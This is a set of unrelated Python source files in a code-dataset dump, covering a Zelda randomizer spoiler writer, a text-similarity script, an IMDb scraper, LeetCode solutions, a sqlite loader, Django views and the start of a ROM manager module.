{}\".format(item['item'], item['price']) if item['price'] else item['item']\n\n if item['player'] > 0:\n shopdata['item_{}'.format(index)] = shopdata['item_{}'.format(index)].replace('—', '(Player {}) — '.format(item['player']))\n\n if item['max'] == 0:\n continue\n shopdata['item_{}'.format(index)] += \" x {}\".format(item['max'])\n\n if item['replacement'] is None:\n continue\n shopdata['item_{}'.format(index)] += \", {} - {}\".format(item['replacement'], item['replacement_price']) if item['replacement_price'] else item['replacement']\n self.shops.append(shopdata)\n\n for player in range(1, self.world.players + 1):\n self.bosses[str(player)] = OrderedDict()\n self.bosses[str(player)][\"Eastern Palace\"] = self.world.get_dungeon(\"Eastern Palace\", player).boss.name\n self.bosses[str(player)][\"Desert Palace\"] = self.world.get_dungeon(\"Desert Palace\", player).boss.name\n self.bosses[str(player)][\"Tower Of Hera\"] = self.world.get_dungeon(\"Tower of Hera\", player).boss.name\n self.bosses[str(player)][\"Hyrule Castle\"] = \"Agahnim\"\n self.bosses[str(player)][\"Palace Of Darkness\"] = self.world.get_dungeon(\"Palace of Darkness\", player).boss.name\n self.bosses[str(player)][\"Swamp Palace\"] = self.world.get_dungeon(\"Swamp Palace\", player).boss.name\n self.bosses[str(player)][\"Skull Woods\"] = self.world.get_dungeon(\"Skull Woods\", player).boss.name\n self.bosses[str(player)][\"Thieves Town\"] = self.world.get_dungeon(\"Thieves Town\", player).boss.name\n self.bosses[str(player)][\"Ice Palace\"] = self.world.get_dungeon(\"Ice Palace\", player).boss.name\n self.bosses[str(player)][\"Misery Mire\"] = self.world.get_dungeon(\"Misery Mire\", player).boss.name\n self.bosses[str(player)][\"Turtle Rock\"] = self.world.get_dungeon(\"Turtle Rock\", player).boss.name\n if self.world.mode[player] != 'inverted':\n self.bosses[str(player)][\"Ganons Tower Basement\"] = self.world.get_dungeon('Ganons Tower', player).bosses['bottom'].name\n self.bosses[str(player)][\"Ganons Tower Middle\"] = self.world.get_dungeon('Ganons Tower', player).bosses['middle'].name\n self.bosses[str(player)][\"Ganons Tower Top\"] = self.world.get_dungeon('Ganons Tower', player).bosses['top'].name\n else:\n self.bosses[str(player)][\"Ganons Tower Basement\"] = self.world.get_dungeon('Inverted Ganons Tower', player).bosses['bottom'].name\n self.bosses[str(player)][\"Ganons Tower Middle\"] = self.world.get_dungeon('Inverted Ganons Tower', player).bosses['middle'].name\n self.bosses[str(player)][\"Ganons Tower Top\"] = self.world.get_dungeon('Inverted Ganons Tower', player).bosses['top'].name\n\n self.bosses[str(player)][\"Ganons Tower\"] = \"Agahnim 2\"\n self.bosses[str(player)][\"Ganon\"] = \"Ganon\"\n\n if self.world.players == 1:\n self.bosses = self.bosses[\"1\"]\n\n from Utils import __version__ as ERVersion\n self.metadata = {'version': ERVersion,\n 'logic': self.world.logic,\n 'dark_room_logic': self.world.dark_room_logic,\n 'mode': self.world.mode,\n 'retro': self.world.retro,\n 'weapons': self.world.swords,\n 'goal': self.world.goal,\n 'shuffle': self.world.shuffle,\n 'item_pool': self.world.difficulty,\n 'item_functionality': self.world.item_functionality,\n 'gt_crystals': self.world.crystals_needed_for_gt,\n 'ganon_crystals': self.world.crystals_needed_for_ganon,\n 'open_pyramid': self.world.open_pyramid,\n 'accessibility': self.world.accessibility,\n 'hints': self.world.hints,\n 'mapshuffle': self.world.mapshuffle,\n 'compassshuffle': self.world.compassshuffle,\n 'keyshuffle': self.world.keyshuffle,\n 'bigkeyshuffle': self.world.bigkeyshuffle,\n 'boss_shuffle': self.world.boss_shuffle,\n 'enemy_shuffle': self.world.enemy_shuffle,\n 'enemy_health': self.world.enemy_health,\n 'enemy_damage': self.world.enemy_damage,\n 'killable_thieves': self.world.killable_thieves,\n 'tile_shuffle': self.world.tile_shuffle,\n 'bush_shuffle': self.world.bush_shuffle,\n 'beemizer': self.world.beemizer,\n 'progressive': self.world.progressive,\n 'shufflepots': self.world.shufflepots,\n 'players': self.world.players,\n 'teams': self.world.teams,\n 'progression_balancing': self.world.progression_balancing,\n 'triforce_pieces_available': self.world.triforce_pieces_available,\n 'triforce_pieces_required': self.world.triforce_pieces_required,\n 'shop_shuffle': self.world.shop_shuffle,\n 'shop_shuffle_slots': self.world.shop_shuffle_slots,\n 'shuffle_prizes': self.world.shuffle_prizes,\n 'sprite_pool': self.world.sprite_pool,\n 'restrict_dungeon_item_on_boss': self.world.restrict_dungeon_item_on_boss\n }\n\n def to_json(self):\n self.parse_data()\n out = OrderedDict()\n out['Entrances'] = list(self.entrances.values())\n out.update(self.locations)\n out['Starting Inventory'] = self.startinventory\n out['Special'] = self.medallions\n if self.hashes:\n out['Hashes'] = {f\"{self.world.player_names[player][team]} (Team {team+1})\": hash for (player, team), hash in self.hashes.items()}\n if self.shops:\n out['Shops'] = self.shops\n out['playthrough'] = self.playthrough\n out['paths'] = self.paths\n out['Bosses'] = self.bosses\n out['meta'] = self.metadata\n\n return json.dumps(out)\n\n def to_file(self, filename):\n self.parse_data()\n\n def bool_to_text(variable: Union[bool, str]) -> str:\n if type(variable) == str:\n return variable\n return 'Yes' if variable else 'No'\n\n with open(filename, 'w', encoding=\"utf-8-sig\") as outfile:\n outfile.write(\n 'ALttP Berserker\\'s Multiworld Version %s - Seed: %s\\n\\n' % (\n self.metadata['version'], self.world.seed))\n outfile.write('Filling Algorithm: %s\\n' % self.world.algorithm)\n outfile.write('Players: %d\\n' % self.world.players)\n outfile.write('Teams: %d\\n' % self.world.teams)\n for player in range(1, self.world.players + 1):\n if self.world.players > 1:\n outfile.write('\\nPlayer %d: %s\\n' % (player, self.world.get_player_names(player)))\n for team in range(self.world.teams):\n outfile.write('%s%s\\n' % (\n f\"Hash - {self.world.player_names[player][team]} (Team {team + 1}): \" if self.world.teams > 1 else 'Hash: ',\n self.hashes[player, team]))\n outfile.write('Logic: %s\\n' % self.metadata['logic'][player])\n outfile.write('Dark Room Logic: %s\\n' % self.metadata['dark_room_logic'][player])\n outfile.write('Restricted Boss Drops: %s\\n' %\n bool_to_text(self.metadata['restrict_dungeon_item_on_boss'][player]))\n if self.world.players > 1:\n outfile.write('Progression Balanced: %s\\n' % (\n 'Yes' if self.metadata['progression_balancing'][player] else 'No'))\n outfile.write('Mode: %s\\n' % self.metadata['mode'][player])\n outfile.write('Retro: %s\\n' %\n ('Yes' if self.metadata['retro'][player] else 'No'))\n outfile.write('Swords: %s\\n' % self.metadata['weapons'][player])\n outfile.write('Goal: %s\\n' % self.metadata['goal'][player])\n if \"triforce\" in self.metadata[\"goal\"][player]: # triforce hunt\n outfile.write(\"Pieces available for Triforce: %s\\n\" %\n self.metadata['triforce_pieces_available'][player])\n outfile.write(\"Pieces required for Triforce: %s\\n\" %\n self.metadata[\"triforce_pieces_required\"][player])\n outfile.write('Difficulty: %s\\n' % self.metadata['item_pool'][player])\n outfile.write('Item Functionality: %s\\n' % self.metadata['item_functionality'][player])\n outfile.write('Item Progression: %s\\n' % self.metadata['progressive'][player])\n outfile.write('Entrance Shuffle: %s\\n' % self.metadata['shuffle'][player])\n outfile.write('Crystals required for GT: %s\\n' % self.metadata['gt_crystals'][player])\n outfile.write('Crystals required for Ganon: %s\\n' % self.metadata['ganon_crystals'][player])\n outfile.write('Pyramid hole pre-opened: %s\\n' % (\n 'Yes' if self.metadata['open_pyramid'][player] else 'No'))\n outfile.write('Accessibility: %s\\n' % self.metadata['accessibility'][player])\n outfile.write('Map shuffle: %s\\n' %\n ('Yes' if self.metadata['mapshuffle'][player] else 'No'))\n outfile.write('Compass shuffle: %s\\n' %\n ('Yes' if self.metadata['compassshuffle'][player] else 'No'))\n outfile.write(\n 'Small Key shuffle: %s\\n' % (bool_to_text(self.metadata['keyshuffle'][player])))\n outfile.write('Big Key shuffle: %s\\n' % (\n 'Yes' if self.metadata['bigkeyshuffle'][player] else 'No'))\n outfile.write('Shop inventory shuffle: %s\\n' %\n bool_to_text(\"i\" in self.metadata[\"shop_shuffle\"][player]))\n outfile.write('Shop price shuffle: %s\\n' %\n bool_to_text(\"p\" in self.metadata[\"shop_shuffle\"][player]))\n outfile.write('Shop upgrade shuffle: %s\\n' %\n bool_to_text(\"u\" in self.metadata[\"shop_shuffle\"][player]))\n outfile.write('New Shop inventory: %s\\n' %\n bool_to_text(\"g\" in self.metadata[\"shop_shuffle\"][player] or\n \"f\" in self.metadata[\"shop_shuffle\"][player]))\n outfile.write('Custom Potion Shop: %s\\n' %\n bool_to_text(\"w\" in self.metadata[\"shop_shuffle\"][player]))\n outfile.write('Shop Slots: %s\\n' %\n self.metadata[\"shop_shuffle_slots\"][player])\n outfile.write('Boss shuffle: %s\\n' % self.metadata['boss_shuffle'][player])\n outfile.write(\n 'Enemy shuffle: %s\\n' % bool_to_text(self.metadata['enemy_shuffle'][player]))\n outfile.write('Enemy health: %s\\n' % self.metadata['enemy_health'][player])\n outfile.write('Enemy damage: %s\\n' % self.metadata['enemy_damage'][player])\n outfile.write(f'Killable thieves: {bool_to_text(self.metadata[\"killable_thieves\"][player])}\\n')\n outfile.write(f'Shuffled tiles: {bool_to_text(self.metadata[\"tile_shuffle\"][player])}\\n')\n outfile.write(f'Shuffled bushes: {bool_to_text(self.metadata[\"bush_shuffle\"][player])}\\n')\n outfile.write(\n 'Hints: %s\\n' % ('Yes' if self.metadata['hints'][player] else 'No'))\n outfile.write('Beemizer: %s\\n' % self.metadata['beemizer'][player])\n outfile.write('Pot shuffle %s\\n'\n % ('Yes' if self.metadata['shufflepots'][player] else 'No'))\n outfile.write('Prize shuffle %s\\n' %\n self.metadata['shuffle_prizes'][player])\n if self.entrances:\n outfile.write('\\n\\nEntrances:\\n\\n')\n outfile.write('\\n'.join(['%s%s %s %s' % (f'{self.world.get_player_names(entry[\"player\"])}: '\n if self.world.players > 1 else '', entry['entrance'],\n '<=>' if entry['direction'] == 'both' else\n '<=' if entry['direction'] == 'exit' else '=>',\n entry['exit']) for entry in self.entrances.values()]))\n outfile.write('\\n\\nMedallions:\\n')\n for dungeon, medallion in self.medallions.items():\n outfile.write(f'\\n{dungeon}: {medallion}')\n if self.startinventory:\n outfile.write('\\n\\nStarting Inventory:\\n\\n')\n outfile.write('\\n'.join(self.startinventory))\n outfile.write('\\n\\nLocations:\\n\\n')\n outfile.write('\\n'.join(['%s: %s' % (location, item) for grouping in self.locations.values() for (location, item) in grouping.items()]))\n outfile.write('\\n\\nShops:\\n\\n')\n outfile.write('\\n'.join(\"{} [{}]\\n {}\".format(shop['location'], shop['type'], \"\\n \".join(item for item in [shop.get('item_0', None), shop.get('item_1', None), shop.get('item_2', None)] if item)) for shop in self.shops))\n for player in range(1, self.world.players + 1):\n if self.world.boss_shuffle[player] != 'none':\n bossmap = self.bosses[str(player)] if self.world.players > 1 else self.bosses\n outfile.write(f'\\n\\nBosses{(f\" ({self.world.get_player_names(player)})\" if self.world.players > 1 else \"\")}:\\n')\n outfile.write(' '+'\\n '.join([f'{x}: {y}' for x, y in bossmap.items()]))\n outfile.write('\\n\\nPlaythrough:\\n\\n')\n outfile.write('\\n'.join(['%s: {\\n%s\\n}' % (sphere_nr, '\\n'.join([' %s: %s' % (location, item) for (location, item) in sphere.items()] if sphere_nr != '0' else [f' {item}' for item in sphere])) for (sphere_nr, sphere) in self.playthrough.items()]))\n if self.unreachables:\n outfile.write('\\n\\nUnreachable Items:\\n\\n')\n outfile.write('\\n'.join(['%s: %s' % (unreachable.item, unreachable) for unreachable in self.unreachables]))\n outfile.write('\\n\\nPaths:\\n\\n')\n\n path_listings = []\n for location, path in sorted(self.paths.items()):\n path_lines = []\n for region, exit in path:\n if exit is not None:\n path_lines.append(\"{} -> {}\".format(region, exit))\n else:\n path_lines.append(region)\n path_listings.append(\"{}\\n {}\".format(location, \"\\n => \".join(path_lines)))\n\n outfile.write('\\n'.join(path_listings))\n\n\nclass PlandoItem(NamedTuple):\n item: str\n location: str\n world: Union[bool, str] = False # False -> own world, True -> not own world\n from_pool: bool = True # if item should be removed from item pool\n force: str = 'silent' # false -> warns if item not successfully placed. true -> errors out on failure to place item.\n\n def warn(self, warning: str):\n if self.force in ['true', 'fail', 'failure', 'none', 'false', 'warn', 'warning']:\n logging.warning(f'{warning}')\n else:\n logging.debug(f'{warning}')\n\n def failed(self, warning: str, exception=Exception):\n if self.force in ['true', 'fail', 'failure']:\n raise exception(warning)\n else:\n self.warn(warning)\n\n\nclass PlandoConnection(NamedTuple):\n entrance: str\n exit: str\n direction: str # entrance, exit or both\n","sub_path":"BaseClasses.py","file_name":"BaseClasses.py","file_ext":"py","file_size_in_byte":72197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"365439635","text":"import numpy as np\r\nimport pandas as pd\r\nfrom collections import Counter\r\n\r\n#removing stop words\r\nstopwords = pd.read_csv('stop_words.csv')\r\nsw_list = list(stopwords['word'].values)\r\n\r\ndef tokenize(text=None):\r\n '''\r\n Extract words that we need to compare from stories.\r\n '''\r\n text = text.lower()\r\n punctuation = ['.',',','(',')','?','!',\"'\",\"-\",'\"','$','\\\"',\"“\",\"”\",\"£\",\"—\"]\r\n for item in punctuation:\r\n text = text.replace(item,'')\r\n text_list = text.split()\r\n text_list2 = [word for word in text_list if word not in sw_list]\r\n return text_list2\r\n\r\n# read txt files\r\nalj = open('stories/aljazeera-khashoggi.txt',mode=\"rt\",encoding='utf-8').read()\r\nbbc = open('stories/bbc-khashoggi.txt',mode=\"rt\",encoding='utf-8').read()\r\nbre = open('stories/breitbart-khashoggi.txt',mode=\"rt\",encoding='utf-8').read()\r\ncnn = open('stories/cnn-khashoggi.txt',mode=\"rt\",encoding='utf-8').read()\r\nfox = open('stories/fox-khashoggi.txt',mode=\"rt\",encoding='utf-8').read()\r\n\r\n#Andrea's edit:\r\n#Added .read() after opening each of the files in order to read the txt file after opening\r\n\r\n\r\ndef convert_tokens_to_entry(tokens):\r\n '''\r\n Converts tokens into count entries for a document term matrix.\r\n '''\r\n d = {key:[value] for key,value in Counter(tokens).items()}\r\n return pd.DataFrame(d)\r\n\r\n\r\n# Now build a function that does this for a list of texts\r\ndef gen_DTM(texts=None):\r\n '''\r\n Generate a document term matrix\r\n '''\r\n DTM = pd.DataFrame()\r\n for tt in texts:\r\n tokens = tokenize(tt)\r\n entry = convert_tokens_to_entry(tokens)\r\n\r\n # Append (row bind) the current entry onto the existing data frame\r\n DTM = DTM.append(pd.DataFrame(entry),ignore_index=True,sort=True)\r\n\r\n # Fill in any missing values with 0s (i.e. when a word is in one text but not another)\r\n DTM.fillna(0, inplace=True)\r\n return DTM\r\n\r\n#Index the pandas dataframe to draw out a numpy array\r\n#There is an \"attribute error\"--'_io.TextIOWrapper' obect has no attribute \"lower\"...but i don't know why\r\nD = gen_DTM([alj,bbc,bre,cnn,fox])\r\n#Andrea's comment: after adding .read() above, this now works!!!\r\n\r\n\r\na = D.iloc[0].values\r\nb = D.iloc[1].values\r\nc = D.iloc[2].values\r\nd = D.iloc[3].values\r\ne = D.iloc[4].values\r\n\r\n#Andrea's edit: adding the cosine function\r\ndef cosine(a,b):\r\n cos = np.dot(a,b)/(np.sqrt(np.dot(a,a)) * np.sqrt(np.dot(b,b)))\r\n cos_round = round(cos,4)\r\n return cos_round\r\n\r\n#Calculate the value of cosine and turn it into an 5*5 matrix\r\nlist = [a, b, c, d, e]\r\nmtx = [cosine(i,j) for i in list for j in list]\r\nmtx = np.reshape(mtx,(5,5))\r\n\r\n# convert into dataframe\r\ndf = pd.DataFrame(mtx) #changed the inside of the () to mtx (it said cosi before for some reason)\r\ndf.columns = ['alj', 'bbc', 'bre', 'cnn', 'fox']\r\ndf.index = ['alj', 'bbc', 'bre', 'cnn', 'fox']\r\nprint(df)\r\n\r\n# cannot get the answer because there is an error above...\r\n#Andrea's comment: it works now!!\r\n\r\n##Adding Lily's comments: When I was first writing my code, I also got the error\r\n##of undefined cosine. So it's not a bulid in function but something you need\r\n##to define yourself.\r\n","sub_path":"yl1026_li.py","file_name":"yl1026_li.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"77783974","text":"from bs4 import BeautifulSoup # pip install beautifulsoup4 # pip install lxml\nimport requests # pip install requests\nimport csv\nimport sqlite3\n\n\ncon = sqlite3.connect('my_project_new.db')\ncur = con.cursor()\n\nstep = 1\nurl = ('https://www.imdb.com/search/title/?title_type=feature&'\n 'release_date=2000-01-01,2002-12-31&user_rating=1.0,&sort=year,asc&start={}&count=200')\n\nurl_cast = 'https://www.imdb.com/title/tt{}/fullcredits'\n\n\nfor page in range(0, step * 10, step):\n source = requests.get(url.format(801)).text\n soup = BeautifulSoup(source, 'lxml')\n # print(soup)\n company_table = {}\n if page == 1:\n break\n\n for film in soup.find_all('div', class_='lister-item-content'):\n title = film.h3.a.text\n movie_id = film.h3.a['href'].split('/')[2][2:]\n company_table[\"movie_id\"] = movie_id\n\n company_open = f\"https://www.imdb.com{film.h3.a['href']}companycredits\"\n company_open_source = requests.get(company_open).text\n c_soup = BeautifulSoup(company_open_source, 'lxml')\n # print(c_soup)\n if c_soup.find('ul', class_=\"simpleList\"):\n l_0= c_soup.find('ul', class_=\"simpleList\")\n l_1 = l_0.findAll('a')\n print(l_1)\n for child in l_1:\n company_name = child.text\n company_table[\"company_name\"] = company_name\n print(company_table)\n\n\n\n attrib_names = \", \".join(company_table.keys())\n attrib_values = \", \".join(\"?\" * len(company_table.keys()))\n sql = f'INSERT OR REPLACE INTO movie_companies ({attrib_names}) VALUES ({attrib_values})'\n cur.execute(sql, list(company_table.values()))\n\n else:\n company_name = \"None\"\n company_table[\"company_name\"] = company_name\n attrib_names = \", \".join(company_table.keys())\n attrib_values = \", \".join(\"?\" * len(company_table.keys()))\n sql = f'INSERT OR REPLACE INTO movie_companies ({attrib_names}) VALUES ({attrib_values})'\n cur.execute(sql, list(company_table.values()))\n\n\n\ncon.commit()\ncon.close()\n","sub_path":"movies_project/company_scrapping.py","file_name":"company_scrapping.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"223989498","text":"class Solution:\n def findSubstring(self, s, words):\n \"\"\"\n :type s: str\n :type words: List[str]\n :rtype: List[int]\n \"\"\"\n if len(words) == 0:\n return []\n if len(s) == 0:\n return []\n self.length = len(words[0])\n ans_list = []\n pos_list = []\n startpos = -1\n words.sort()\n while startpos < len(s):\n startpos += 1\n jet = 1\n pos_list = []\n for i in range(len(words)):\n if i > 0 and words[i] == words[i-1]:\n newpos = pos_list[-1] + self.length\n pos_list.append(s.find(words[i], newpos))\n else:\n pos_list.append(s.find(words[i], startpos))\n pos_list.sort()\n if -1 in pos_list:\n break\n else:\n pos = 0\n while pos < len(pos_list)-1:\n if pos_list[pos] + self.length != pos_list[pos+1]:\n jet = 0\n # if pos_list[pos] != 0:\n # if pos == 0:\n # startpos = pos_list[pos]+1\n # else:\n # startpos = pos_list[pos]\n # g = s[pos_list[pos]: pos_list[pos]+self.length]\n # else:\n # startpos = 1\n break\n pos += 1\n if jet == 0:\n pass\n else:\n ans_list.append(pos_list[0])\n \n\n return list(set(ans_list))\n\nclass Solution:\n def split(self,string,width):#将一个字符串string按着width的宽度切开放在一个列表中,返回这个列表。\n result = []\n i = 0\n length = len(string)\n while i<=length-width:\n result.append(string[i:i+width])\n i = i+width\n return result\n def findSubstring(self, s, words):\n \"\"\"\n :type s: str\n :type words: List[str]\n :rtype: List[int]\n \"\"\"\n result = []\n words_count = len(words)\n if words_count>0:#判断输入的s和words是否为空,如果不为空,将words中的单词的宽度放在length_word中\n length_word = len(words[0])\n else:\n length_word = 0\n i= 0\n length_s = len(s)\n if length_s == 0 or words_count == 0:#如果s为空或者words为空,返回空的列表\n return []\n while i <= length_s-length_word*words_count:#利用while循环,实现对s遍历\n string_list = self.split(s[i:i+length_word*words_count],length_word)#将s从i开始切分出一个长度和words中所有单词加在一起长度相同的一个子串,并将这个子串切开,放在string_list中\n string_list.sort()#由于words中的单词并不是排好序的,所以这里需要调用两个sort函数,将这两个列表排序,这样才能够判断他们是否相等。\n words.sort()\n if string_list == words:#如果不是排好序的列表,即使里面的元素都相等,但是顺序不等的话,也是不会相等的。\n result.append(i)\n i = i + 1\n return result\n\n\ns = \"barfoofoobarthefoobarman\"\na = Solution()\nwords = [\"foo\", \"bar\", \"the\"]\nb = \"wordgoodgoodgoodbestword\"\nc = [\"word\",\"good\",\"best\",\"good\"]\nd = \"lingmindraboofooowingdingbarrwingmonkeypoundcake\"\ne = [\"fooo\",\"barr\",\"wing\",\"ding\",\"wing\"]\nf = \"barfoothefoobarman\"\ng = [\"foo\",\"bar\"]\nh = \"wordgoodstudentgoodword\"\ni = [\"word\",\"student\"]\nj = \"ababaab\"\nk = [\"ab\",\"ba\",\"ba\"]\nprint(a.findSubstring(j, k))","sub_path":"30hard.py","file_name":"30hard.py","file_ext":"py","file_size_in_byte":3741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"5876536","text":"#!/usr/bin/python\n\nimport sqlite3\nimport subprocess\nimport sys\n\n\"\"\"Script to upload old DETECT text files into databases using sqlite3\"\"\"\n\nclass ProgressMeter:\n\tdef __init__(self,job_size):\n\t\tself.job_size=float(job_size)\n\t\tself.steps_done=float(0)\n\n\tdef step (self):\n\t\tself.steps_done +=1\n\t\tself.__show__(self.steps_done)\n\n\tdef update (self, step):\n\t\tself.steps_done = step\n\t\tself.__show__(self.steps_done)\n\n\tdef __show__ (self,complete):\n\t\tsys.stdout.write(\"Working: {:.2%} done\\r\".format(complete/self.job_size))\n\t\tsys.stdout.flush()\n\n\tdef done(self):\n\t\tclear = chr(27) + '[2K' + chr(27) +'[G'\n\t\tsys.stdout.write(clear + \"Job complete!\\n\")\n\t\tsys.stdout.flush()\n\ndef wc_count(filename):\n\tprocess = subprocess.Popen(('wc', '-l', filename),stdout=subprocess.PIPE)\n\tstdout,stderr = process.communicate()\n\treturn float(stdout.split()[0])\n\nif __name__==\"__main__\":\n\tdetect_files = [\"density-pos.out\",\"density-neg.out\",\"swissProt2EC_ids-30+.mappings\",\"prior_probabilities.out\"]\n\n\n\tjob_size =sum([wc_count(name) for name in detect_files])\n\tmeter = ProgressMeter(job_size)\n\tlines_done = 0\n\t#process meter will be updated after every lines written to DB\n\tupdate_time = 2048\n\t\n\t\n\tconnection = sqlite3.connect('detect.db')\n\twith connection:\n\t\n\t\tcursor = connection.cursor()\n\t\t\n\t\t#get positives\n\t\tcursor.execute(\"create table positive_densities(ec text, score numeric, density numeric, primary key (ec,score))\")\n\t\tcursor.execute(\"create index positive_index on positive_densities(ec,score)\")\n\t\n\t\tfor line in open('density-pos.out'):\n\t\t\tif not \"EC\" in line and not \"NA\" in line:\n\t\t\t\tnum,ec,score,density = line.strip().split(\",\")\n\t\t\t\tcursor.execute(\"insert into positive_densities values('{}',{},{})\".format(ec,score,density))\n\t\n\t\t\tlines_done += 1\n\t\t\tif lines_done % update_time == 0:\n\t\t\t\tmeter.update(lines_done)\n\t\n\t\t#get negatives\n\t\tcursor.execute(\"create table negative_densities(ec text, score numeric, density numeric, primary key (ec,score))\")\n\t\tcursor.execute(\"create index negative_index on negative_densities(ec,score)\")\n\t\n\t\tfor line in open('density-neg.out'):\n\t\t\tif not \"EC\" in line and not \"NA\" in line:\n\t\t\t\tnum,ec,score,density = line.strip().split(\",\")\n\t\t\t\tcursor.execute(\"insert into negative_densities values('{}',{},{})\".format(ec,score,density))\n\t\t\t\n\t\t\tlines_done += 1\n\t\t\tif lines_done % update_time == 0:\n\t\t\t\tmeter.update(lines_done)\n\t\n\t\t#get uniprot-ec mappings\n\t\tcursor.execute(\"create table swissprot_ec_map(swissprot_id text, ec text, primary key (swissprot_id))\")\n\t\tcursor.execute(\"create index map_index on swissprot_ec_map(swissprot_id)\")\n\n\t\tfor line in open(\"swissProt2EC_ids-30+.mappings\"):\n\t\t\t\n\t\t\tif not \"EC\" in line:\n\t\t\t\tswissprot_id,ec=line.strip().split(\",\")\n\t\t\t\tcursor.execute(\"insert into swissprot_ec_map values('{}','{}')\".format(swissprot_id,ec))\n\t\t\n\t\t\tlines_done += 1\n\t\t\tif lines_done % update_time == 0:\n\t\t\t\tmeter.update(lines_done)\n\n\n\t\t#get prior probabilities\n\t\tcursor.execute(\"create table prior_probabilities(ec text, probability numeric, primary key (ec))\")\n\t\tcursor.execute(\"create index prior_index on prior_probabilities(ec)\")\n\n\t\tfor line in open(\"prior_probabilities.out\"):\n\t\t\t\t\n\t\t\tif not \"EC\" in line:\n\t\t\t\tec,num_proteins,probability = line.strip().split(\",\")\n\t\t\t\tcursor.execute(\"insert into prior_probabilities values('{}',{})\".format(ec,probability))\n\n\t\t\tlines_done += 1\n\t\t\tif lines_done % update_time == 0:\n\t\t\t\tmeter.update(lines_done)\n\n\n\tmeter.done()\n","sub_path":"utils/text_to_db.py","file_name":"text_to_db.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"91670187","text":"#encoding:UTF-8\n#Autor:Hector Manuel Takami Flores\n#Calcula Numeros Romanos\n\ndef calculaARomanos(num):\n if num<=3:\n print(num*\"I\")\n elif num==4:\n print(\"IV\")\n elif num==5:\n print(\"V\")\n elif num>5 and num<=8:\n print(\"V\"+((num%5)*(\"I\")))\n elif num==9:\n print(\"IX\")\n elif num==10:\n print(\"X\")\n else:\n print(\"Error\")\n\ndef main ():\n num = int(input(\"Ingrese el numero que desea convertir\")) \n rom=calculaARomanos(num)\n print(rom)\nmain() ","sub_path":"Actividad-05/Romanos.py","file_name":"Romanos.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"647917556","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import loader\nfrom .models import *\nfrom .forms import *\nfrom django.utils import timezone\nfrom django.contrib import messages\n\n#####################################################################\ndef LandingPage(request):\n '''\n Provides the main landing page information.\n '''\n context = {\n 'page_title': 'Julien Ollivier',\n }\n template = loader.get_template('main/index.html')\n return HttpResponse(template.render(context, request))\n\n#####################################################################\ndef Prestations(request):\n '''\n Provides the prestation informations\n '''\n context = {\n 'page_title': 'Prestations',\n }\n template = loader.get_template('main/prestations.html')\n return HttpResponse(template.render(context, request))\n\n#####################################################################\ndef Portfolio(request):\n '''\n Provides the main landing page information.\n '''\n context = {\n 'page_title': 'Portfolio',\n }\n template = loader.get_template('main/portfolio.html')\n return HttpResponse(template.render(context, request))\n\n#####################################################################\ndef Contact(request):\n '''\n Simple contact view\n '''\n if request.method == 'POST':\n form = ContactMessageForm(request.POST)\n if form.is_valid():\n new_message = ContactMessage()\n new_message.nom = form.cleaned_data['nom']\n new_message.contenu = form.cleaned_data['contenu']\n new_message.remote_addr = request.META['REMOTE_ADDR']\n new_message.timestamp = timezone.now()\n # # basic spam/double POST checker\n # existing_message = ContactMessage.objects.filter()\n new_message.save()\n messages.success(request, 'Votre message a bien été envoyé, \\\n vous recevrez une réponse rapidement.')\n else:\n messages.error(request, 'Une erreur est survenue. \\\n Veuillez nous contacter par un autre moyen.')\n else:\n pass\n context = {\n 'page_title': 'Contact',\n 'contact_form' : ContactMessageForm(),\n # 'main_page_news': main_page_news,\n }\n template = loader.get_template('main/contact.html')\n return HttpResponse(template.render(context, request))\n\n#####################################################################\ndef License(request):\n '''\n Provides the licence information\n '''\n context = {\n 'page_title': 'License',\n }\n template = loader.get_template('main/license.html')\n return HttpResponse(template.render(context, request))\n\n#####################################################################\ndef Home(request):\n '''\n Test for the new theme\n '''\n context = {\n 'page_title': 'Julien Ollivier',\n }\n template = loader.get_template('main/home.html')\n return HttpResponse(template.render(context, request))","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"309400552","text":"# Copyright (c) 2017 Xinertel\n# All Rights Reserved.\n\n\"\"\"ROM manager class to manage the whole ROM: class, object, relation ...\n\n\n\"\"\"\nimport importlib\n\nfrom framework.protobuf import object_model_interface_pb2\nfrom framework.rom import base_types, exception, rom_config, rom_relation, virt_tree\nfrom framework.utils import concurrent, log\n\n\n# import sqlalchemy\n\n\n# TODO: Separate object management to the specific class if necessary\n\n\ndef save_config(file_name, msg_queue):\n with open(file_name, 'wb') as rom_file:\n while True:\n msg = msg_queue.get()\n if not msg:\n break\n rom_file.write(msg)\n\n\nclass ROMManager:\n\n # All registered ROM class. The key is the name of the ROM class before decorated by meta.rom\n _class_depot = base_types.ROMDict()\n\n # All ROM class instances. The key is the handle of the object\n _object_depot = base_types.ROMDict()\n\n # All ROM class instances. The key is the ID of the object. (Cannot come up with a better name than \"depot2\")\n _object_depot2 = {}\n\n # Callables that will be called after ROM done with initialization\n # _init_callbacks = []\n\n # Callables that will be called after when cleaning ROM\n # _clean_callbacks = []\n\n # The first object created. Currently it should be the instance of SysEntry.\n _root = None\n\n # Callbacks that will be called after ROM init done\n _post_rom_init_callbacks = set()\n\n # Callables that will be called after ROM tree is reset\n _post_reset_callbacks = set()\n\n # Callbacks that will be called after syncing ROM to PL\n _post_sync_callbacks = set()\n\n # Callbacks that will be called after loading a complete test case\n _post_loading_callbacks = set()\n\n # One shot callbacks set\n _one_shot_callbacks = set()\n\n loading_configuration = False\n\n cloning_object = False\n\n # The number of snapshot taken\n snapshot_count = 1\n\n @staticmethod\n def init_rom():\n for module_name in rom_config.rom_imports:\n module_name = module_name.strip()\n if module_name:\n importlib.import_module(module_name)\n\n @classmethod\n def rom_init_done(cls):\n 